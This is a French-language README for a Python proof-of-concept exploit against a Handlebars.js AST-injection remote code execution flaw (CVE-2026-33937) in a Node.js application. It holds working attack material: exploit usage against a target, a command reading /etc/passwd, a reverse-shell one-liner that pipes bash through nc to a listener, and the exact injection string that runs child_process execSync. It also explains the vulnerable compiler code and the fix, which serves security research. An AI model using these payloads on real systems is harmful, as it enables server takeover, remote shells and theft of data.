
POC Python, exploit pour Handlebars.js AST Injection RCE. Les versions 4.0.0 à 4.7.8 de Handlebars.js sont concernées. Score CVSS : 9.8 Critique.
Les versions 4.0.0 à 4.7.8 de Handlebars.js sont concernées. Score CVSS : 9,8 Critique.
CVE-2026-33937 est une vulnérabilité de confusion de types dans Handlebars.js. La fonction Handlebars.compile() accepte à la fois une chaîne de modèle (template) et un objet AST pré-analysé en entrée. Lorsqu'un attaquant transmet un objet AST malveillant, le visiteur NumberLiteral du compilateur insère le champ value du nœud tel quel dans le corps de la fonction JavaScript générée, sans aucune assainissement. L'appel de render() sur le résultat exécute le code contrôlé par l'attaquant dans le processus Node.js.
python3 exploit.py --url <target> --username <email> --password <pass> --command <cmd>
Arguments
--url — URL de base de la cible, p. ex. http://hello.veer/ (obligatoire)--username — Adresse e-mail de connexion (obligatoire)--password — Mot de passe de connexion (obligatoire)--command — Commande système à exécuter, par défaut id (facultatif)Exemples
# Vérifier l'exécution de code (RCE)
python3 exploit.py --url http://hello.veer/ --username cognito@veer --password 'P@ssw0rd@123' --command id
# Lire un fichier
python3 exploit.py --url http://hello.veer/ --username cognito@veer --password 'P@ssw0rd@123' --command 'cat /etc/passwd'
# Pour obtenir un shell inverse
echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc <listener_ip> 4444 >/tmp/f' | base64 -w 0
python3 exploit.py --url 'http://hello.veer/' --username 'cognito@veer' --password 'P@ssw0rd@123' --command 'echo <base64_payload> | base64 -d | bash'
Le script effectue une connexion complète avant d'exploiter la vulnérabilité. Il envoie d'abord une requête GET à /login pour récupérer le jeton _csrf caché dans le formulaire, puis soumet ce jeton avec l'adresse e-mail et le mot de passe fournis via un POST codé en formulaire vers /login. En cas de succès, le serveur répond par une redirection 302 vers /dashboard et définit le cookie de session dz.sid utilisé pour toutes les requêtes suivantes.
Un nouveau jeton CSRF est récupéré automatiquement avant chaque requête POST, car le middleware CSRF de l'application en exige un pour chaque opération de modification.
L'application expose POST /character qui accepte Content-Type: application/json. Cette route crée un nouveau personnage D&D et, lorsque campaign_id est fourni, transmet le champ campaign_message directement à Handlebars.compile() côté serveur :
// Node.js côté serveur (vulnérable)
const render = Handlebars.compile(campaign_message); // aucun contrôle de type
const output = render({ name, race, class }); // le payload s'exécute ici
// output est stocké comme entrée de journal de campagne
Lorsque le corps de la requête est au format JSON, campaign_message peut être un objet imbriqué (l'AST) plutôt qu'une chaîne, contournant ainsi toute validation de chaîne au niveau du formulaire. Le champ campaign_id fait en sorte que le serveur stocke le résultat rendu comme message de journal de campagne, lisible ensuite sur GET /campaign/1 — ce qui permet à l'attaquant de récupérer la sortie de commande hors bande.
L'exploit utilise NumberLiteral combiné avec l'assistant lookup.
La compilation normale de {{lookup this 1}} produit :
env.helpers.lookup(this, 1, {options})
La valeur injectée dans NumberLiteral.value remplace le 1 par :
{},{})) + process.mainModule.require('child_process').execSync('cmd').toString() //
Le code JavaScript généré devient :
env.helpers.lookup(this, {},{}))
+ process.mainModule.require('child_process').execSync('cmd').toString()
// <le reste de l'expression est commenté>
Lorsque render() est appelé, execSync() se déclenche et sa sortie standard (stdout) est renvoyée comme valeur de l'expression, puis stockée comme message de campagne.
Les commandes sont encapsulées en interne avec /bin/sh -c 'cmd 2>&1' afin que les commandes contenant des espaces, des tubes (pipes) et des redirections fonctionnent correctement et que la sortie d'erreur (stderr) soit capturée en même temps que la sortie standard (stdout).
Le script enregistre le nombre de messages de campagne avant d'envoyer le payload. Après le POST, il récupère à nouveau /campaign/1 et découpe messages[before_count:] pour isoler l'entrée nouvellement ajoutée. Cette approche gère correctement les cas où la même commande a déjà été exécutée, car une comparaison basée sur un ensemble dédupliquerait les sorties identiques et manquerait le nouveau résultat.
Dans javascript-compiler.js de Handlebars.js, le code vulnérable est :
// Versions 4.0.0 à 4.7.8
NumberLiteral(number) {
this.pushStackLiteral(number.value); // valeur insérée telle quelle, sans contrôle de type
}
La version 4.7.9 ajoute un contrôle de type au point d'entrée de compile() qui rejette toute entrée non-chaîne avant même que le générateur de code ne soit atteint :
// Corrigé dans la 4.7.9
if (typeof input !== 'string') {
throw new Handlebars.Exception(
'You must pass a string or Handlebars AST to Handlebars.compile.'
);
}
Ce dépôt est destiné uniquement à la recherche et à l'éducation en matière de sécurité. N'utilisez cet exploit que contre des systèmes dont vous êtes propriétaire ou pour lesquels vous disposez d'une autorisation écrite explicite de test.